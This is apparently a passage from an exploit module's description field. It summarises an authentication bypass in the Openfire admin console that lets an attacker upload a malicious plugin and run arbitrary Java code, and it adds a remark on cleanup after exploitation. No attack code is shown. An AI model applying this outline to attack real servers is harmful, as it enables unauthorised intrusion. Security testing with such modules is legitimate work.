			'Description' => %q{
					This module exploits an authentication bypass vulnerability in the administration
				console of Openfire servers. By using this vulnerability it is possible to
				upload/execute a malicious Openfire plugin on the server and execute arbitrary Java
				code. This module has been tested against Openfire 3.6.0a.

				It is possible to remove the uploaded plugin after execution, however this might turn
				the server in some kind of unstable state, making re-exploitation difficult. You might
				want to do this manually.
